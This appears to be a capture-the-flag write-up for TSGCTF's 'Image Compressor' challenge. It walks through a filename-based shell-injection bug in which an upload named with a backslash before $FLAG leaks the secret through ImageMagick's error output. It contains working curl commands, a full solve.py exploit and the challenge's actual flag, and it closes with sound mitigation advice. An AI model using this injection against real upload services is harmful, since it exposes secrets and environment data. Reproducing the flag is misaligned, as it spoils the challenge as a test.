>Image Compressor
Flag format: TSGCTF{...}
>TL;DR
-
Vulnerability: command injection / environment variable expansion via image filename used in a
bash -cshell invocation. -
Root cause: user-controlled file name is double-escaped in a way that allows
$FLAGenvironment variable to be expanded inside the shell command constructed for ImageMagick, then leaked through ImageMagick's stderr which is reflected back in a JSON error. -
Local exploit: crafted multipart filename containing a backslash before
$FLAG(e.g.leak\$FLAG.png) and uploaded viacurlto/compress. -
Remote result: extracted flag: TSGCTF{d0llar_s1gn_1s_mag1c_1n_sh3ll_env1r0nm3nt_and_r3ad0nly_15_r3qu1r3d_f0r_c0mmand_1nj3c710n_chall3ng35}
>Setup & Initial reconnaissance
Files were provided as an archive. I extracted and inspected the server code to understand how the app handled uploads.
Project structure (relevant):
-
server/server.ts— the web server code (Elysia + Bun) -
server/lib/shell.ts— wrapper that runs shell commands viaspawn(['bash','-c', command]) -
server/public/index.html— frontend that POSTs multipart form to/compress -
Dockerfile/compose.yaml— containerized environment and an environment variableFLAGis set in the container
Key server function (simplified):
// server.ts (relevant excerpt)
const inputPath = `./tmp/inputs/${escape(image.name)}`;
const outputPath = `./tmp/outputs/${escape(image.name)}`;
await run(`magick "${inputPath}" -quality ${quality} -strip "${outputPath}"`);
The run() helper executes the command via bash -c.
Why this is interesting
-
The app writes the uploaded file to
./tmp/inputs/<escaped-name>and runs a shell command using the escaped filename, so any weaknesses in how the name is quoted/escaped may lead to shell expansion or injection. -
The code has checks (disallow
..in the filename) and an escaping function, and ImageMagick's security policies are present in the container (this affects which ImageMagick tricks succeed).
>Local testing & debugging steps
I started the app locally using Docker Compose (background):
cd extracted/image-compress-revenge
nohup docker-compose up --build >> local_docker.log 2>&1 &
I verified the service:
$ tail -n 1 local_docker.log
app_1 | 🦊 server is running at http://localhost:3000
I tested /compress with a small PNG file:
$ python3 - <<'PY'
from PIL import Image
Image.new('RGB',(32,32),(255,0,0)).save('red.png')
PY
$ curl -sS -F "image=@red.png;type=image/png;filename=red.png" -F "quality=50" http://127.0.0.1:10502/compress -D /tmp/h -o /tmp/out.png
$ head -n 5 /tmp/h
HTTP/1.1 200 OK
Content-Type: image/png
Content-Disposition: attachment; filename="red.png"
That confirmed a normal upload/compress flow.
Observed protections
-
escape()function is applied to filenames (it escapes a number of characters including$by prefixing a backslash). That suggested simple$()or;injections would be blocked. -
ImageMagick
policy.xmldisables URL delegates and has other restrictions (so some classic ImageMagick remote-read tricks are disabled).
I tried some advanced ImageMagick tricks (MSL, label:@/proc/self/environ, etc.) but those were blocked by the policy or file-system restrictions.
>The pivot / core idea
While scanning failures, I noticed the app runs magick "<input>" ... "<output>" via bash -c. The escape() function adds a backslash before $ in the filename. That led to the thought: what happens if we control the number of backslashes before $ in the uploaded filename?
If the filename contains a single backslash before $FLAG (i.e. ...\$FLAG.png) then:
-
escape()will add another backslash, producing\\$FLAGinside the double-quotedbash -ccommand string. -
Bash inside double-quotes interprets sequences of backslashes such that
\\$FLAGbecomes\$FLAG(effectively leaving a backslash then$FLAG) — or, depending on how many escapes collapse, it can lead to a$FLAGexpansion. -
The result: the
$FLAGenvironment variable can be expanded by the shell inside the command. -
If ImageMagick cannot write to the path (or errors), its stderr will contain the expanded path including the flag; the app reflects ImageMagick's stderr back in JSON.
So the idea was to intentionally craft the filename to cause expansion of the $FLAG env variable and then trigger an ImageMagick error so the stderr contains the flag.
This is subtle: the technique relies on a particular combination of how filename escaping is applied and how Bash processes backslashes/quotes in bash -c.
Note: I tried using programmatic libraries to post the multipart upload (Python requests), but some libraries and clients normalize backslashes differently. Using curl ensured the filename= header was transmitted exactly as intended.
>PoC / Exploit (local) — walk-through
Step: craft filename leak\\$FLAG.png and upload via curl
I used curl to control the multipart filename exactly:
curl -sS --max-time 10 \
-F 'image=@red.png;type=image/png;filename=leak\\$FLAG.png' \
-F 'quality=85' \
http://127.0.0.1:10502/compress
Server responded with an error JSON that contained ImageMagick stderr. Example (abbreviated):
{"error":"Failed to compress image: Error: Shell command failed:\nmagick: unable to open image './tmp/inputs/leak\\TSGCTF{DUMMY}.png': No such file or directory ...\n"}
Notice the message contains: TSGCTF{DUMMY} — that is the FLAG from the container environment leaked into stderr.
Automation: solve.py
I automated the steps using a small script that invokes curl to make sure the multipart filename is transmitted exactly. The script parses the response for TSGCTF{...}.
Full solver (saved as solve.py):
#!/usr/bin/env python3
import re
import subprocess
import sys
from pathlib import Path
FLAG_RE = re.compile(r"TSGCTF\{[^}]+\}")
def exploit(base_url: str, image_path: Path) -> str:
url = base_url.rstrip("/") + "/compress"
# Transmit a filename with a single backslash before $FLAG.
filename = r"leak\$FLAG.png"
cmd = [
"curl",
"-sS",
"--max-time",
"15",
"-F",
f"image=@{str(image_path)};type=image/png;filename={filename}",
"-F",
"quality=85",
url,
]
r = subprocess.run(cmd, stdout=subprocess.PIPE, stderr=subprocess.PIPE, check=False)
text = r.stdout.decode("utf-8", "replace")
match = FLAG_RE.search(text)
if not match:
err = r.stderr.decode("utf-8", "replace")
raise RuntimeError(
f"Flag not found. curl_exit={r.returncode}. Response head: {text[:300]!r}. curl_stderr: {err[:200]!r}"
)
return match.group(0)
# CLI
if __name__ == "__main__":
if len(sys.argv) != 2:
print(f"Usage: {sys.argv[0]} http://host:port", file=sys.stderr)
sys.exit(2)
base = sys.argv[1]
candidate = Path("red.png")
if not candidate.exists():
print("Missing red.png. Create one (e.g. via Pillow).", file=sys.stderr)
sys.exit(1)
print(exploit(base, candidate))
I ran it locally against http://127.0.0.1:10502 and retrieved the dummy flag:
$ python3 solve.py http://127.0.0.1:10502
TSGCTF{DUMMY}
Why curl?
- I tested with
requests/multipartfeatures, but Python libraries sometimes normalize or escape thefilenamevalue;curlpreserves exactfilename=transmission, which we need to include backslashes precisely.
>Remote exploitation (proof)
After confirming the PoC locally, I ran the same script against the provided remote host:
$ python3 solve.py http://35.221.67.248:10502
TSGCTF{d0llar_s1gn_1s_mag1c_1n_sh3ll_env1r0nm3nt_and_r3ad0nly_15_r3qu1r3d_f0r_c0mmand_1nj3c710n_chall3ng35}
This is the final flag for the challenge.
>Important observations & lessons learned
-
The app attempts to be careful by escaping special characters, but double-escaping and the subtleties of shell quoting can lead to environment variable expansion or command evaluation if user input is embedded in
bash -cstrings. -
Avoid constructing shell commands by concatenation and running
bash -cwhen possible. Use safe APIs or pass arguments as arrays (e.g.execvestyle) so arguments are not interpreted by the shell. -
Always treat filenames as untrusted input; prefer to sanitize to a strict allowed character set or rewrite uploaded files to safe, deterministic filenames.
Mitigations (recommended):
-
Do not invoke
bash -con strings that contain any user-controlled data. -
If shell invocation is necessary, ensure filenames are strictly validated (e.g.,
[A-Za-z0-9._-]+) and never allow characters like\and$(or properly perform quoting using specialized libraries). -
Run ImageMagick with a restrictive policy and avoid exposing its stderr directly in responses.
>References & further reading
-
ImageMagick Security Policy: https://imagemagick.org/script/security-policy.php
-
ImageTragick writeups (historic attacks on ImageMagick):
- https://www.hackerone.com/reports/2795
- https://www.cvedetails.com/product/2384/Image-Magick.html
- Bash quoting and expansion rules: https://www.gnu.org/software/bash/manual/html_node/Quoting.html
>Appendix: Important terminal snippets used during analysis
Server started:
🦊 server is running at http://localhost:3000
Leaked stderr example (local, truncated):
{"error":"Failed to compress image: Error: Shell command failed:\nmagick: unable to open image './tmp/inputs/leak\\TSGCTF{DUMMY}.png': No such file or directory ...\n"}
Docker container's FLAG env (local):
$ docker exec image-compress-revenge_app_1 sh -lc 'echo "$FLAG"'
TSGCTF{DUMMY}
Remote flag (final):
TSGCTF{d0llar_s1gn_1s_mag1c_1n_sh3ll_env1r0nm3nt_and_r3ad0nly_15_r3qu1r3d_f0r_c0mmand_1nj3c710n_chall3ng35}
>Conclusion
This challenge was about recognizing how filename escaping and shell quoting interact to accidentally trigger environment variable expansion inside a shell command. The fix is to avoid letting untrusted input be interpreted by a shell or to sanitize filenames aggressively. The PoC is compact and reproducible; solve.py is included above for automation.